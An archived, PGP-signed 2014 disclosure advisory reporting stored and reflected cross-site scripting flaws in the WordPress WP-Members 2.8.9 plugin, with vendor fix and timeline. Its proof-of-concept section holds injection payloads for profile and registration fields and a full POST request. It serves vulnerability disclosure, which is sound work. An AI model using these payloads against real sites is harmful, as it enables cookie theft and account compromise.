all things security

WordPress WP-Members 2.8.9 Cross Site Scripting

WordPress WP-Members 2.8.9 Cross Site Scripting
Posted Jan 8, 2014
Authored by Stefan Schurtz

WordPress WP-Members plugin version 2.8.9 suffers from persistent and reflective cross site scripting vulnerabilities.

tags | exploit, vulnerability, xss
MD5 | 12255caf742a0ad2314a107c7ad0f588

WordPress WP-Members 2.8.9 Cross Site Scripting

Change Mirror Download

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Advisory: Wordpress Plugin WP-Members Version 2.8.9 - Stored and
reflected Cross-site Scripting vulnerabilities
Advisory ID: SSCHADV2014-001
Author: Stefan Schurtz
Affected Software: Successfully tested on WP-Members Version 2.8.9
Vendor URL: http://wordpress.org/plugins/wp-members/
Vendor Status: fixed

==========================
Vulnerability Description
==========================

The Wordpress plugin "WP-Members 2.8.9" is prone to reflected and stored
XSS vulnerabilities

==========================
PoC-Exploit
==========================

// Stored-XSS Profile "WP-Members Additional Fields" (Backend)

Works for Editor, Subscriber, Contributor and Author.

&addr1=" onMouseMove=alert(document.cookie) '
&addr2=" onMouseMove=alert(document.cookie) '
&city=" onMouseMove=alert(document.cookie) '
&thestate=" onMouseMove=alert(document.cookie) '
&zip=" onMouseMove=alert(document.cookie) '
&country=" onMouseMove=alert(document.cookie) '
&phone1=" onMouseMove=alert(document.cookie) '

// POST-Request

Host: [Host]
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:26.0) Gecko/20100101
Firefox/26.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://[Host]/wordpress/wp-admin/profile.php?updated=1
Cookie:
wordpress_53a61be1f4f2b42f29aacd17829b400a=user%7C1389143198%7C82134b1dfc3cf2c7d02dc21bae10977a;
wordpress_test_cookie=WP+Cookie+check;
wordpress_logged_in_53a61be1f4f2b42f29aacd17829b400a=user%7C1389143198%7C7c4a9b983a92d6c074e935263583cdf0;
wp-settings-time-2=1388969329; wp-settings-2=editor%3Dhtml;
PHPSESSID=9amg03t3qp8s54qh008slk4vo3
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 500

_wpnonce=d3dce96663&_wp_http_referer=%2Fwordpress%2Fwp-admin%2Fprofile.php%3Fupdated%3D1&from=profile&checkuser_id=2&color-nonce=8b5d6b3e25&admin_color=fresh&admin_bar_front=1&first_name=user&last_name=Smith&nickname=user&display_name=user&email=user%40user.local&url=http%3A%2F%2F3&description=1&pass1=&pass2=&addr1="
onMouseMove=alert(document.cookie)
'&addr2=&city=&thestate=&zip=&country=%22+onMouseMove%3Dalert%28document.cookie%29+%27&phone1=3&test=3&action=update&user_id=2&submit=Profil+aktualisieren

// Reflected Cross-site Scripting

(1) Install plugin
(2) http://[Host]/wp/wp-login.php?action=register

First Name: '"--></style></script><script>alert(/XSS/)</script>
Last Name: '"--></style></script><script>alert(/XSS/)</script>
Address 1: '"--></style></script><script>alert(/XSS/)</script>
Address 2: '"--></style></script><script>alert(/XSS/)</script>
City: '"--></style></script><script>alert(/XSS/)</script>
State: '"--></style></script><script>alert(/XSS/)</script>
Zip: '"--></style></script><script>alert(/XSS/)</script>
Country: '"--></style></script><script>alert(/XSS/)</script>
Day Phone: '"--></style></script><script>alert(/XSS/)</script>

==========================
Solution
==========================

Upgrade to the latest version WP-Members 2.8.10

==========================
Disclosure Timeline
==========================

05-Jan-2014 - vendor informed by email (plugins@wordpress.org)
06-Jan-2014 - feedback from vendor
07-Jan-2014 - fixed by vendor

==========================
Credits
==========================

Vulnerabilities found and advisory written by Stefan Schurtz.

==========================
References
==========================

http://wordpress.org/plugins/wp-members/
http://www.darksecurity.de/advisories/2014/SSCHADV2014-001.txt
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.12 (GNU/Linux)

iEYEARECAAYFAlLNWvsACgkQg3svV2LcbMAr5QCfUTvS3DFaxixV2AkhElqH0Pmx
XxUAn2fOWmAmVNBzq1NU+RW9yGfgwvBQ
=Xbqn
-----END PGP SIGNATURE-----

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

July 2017

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    2 Files
  • 2
    Jul 2nd
    3 Files
  • 3
    Jul 3rd
    15 Files
  • 4
    Jul 4th
    4 Files
  • 5
    Jul 5th
    15 Files
  • 6
    Jul 6th
    15 Files
  • 7
    Jul 7th
    10 Files
  • 8
    Jul 8th
    2 Files
  • 9
    Jul 9th
    10 Files
  • 10
    Jul 10th
    15 Files
  • 11
    Jul 11th
    15 Files
  • 12
    Jul 12th
    19 Files
  • 13
    Jul 13th
    16 Files
  • 14
    Jul 14th
    15 Files
  • 15
    Jul 15th
    3 Files
  • 16
    Jul 16th
    2 Files
  • 17
    Jul 17th
    8 Files
  • 18
    Jul 18th
    11 Files
  • 19
    Jul 19th
    15 Files
  • 20
    Jul 20th
    15 Files
  • 21
    Jul 21st
    15 Files
  • 22
    Jul 22nd
    7 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2016 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close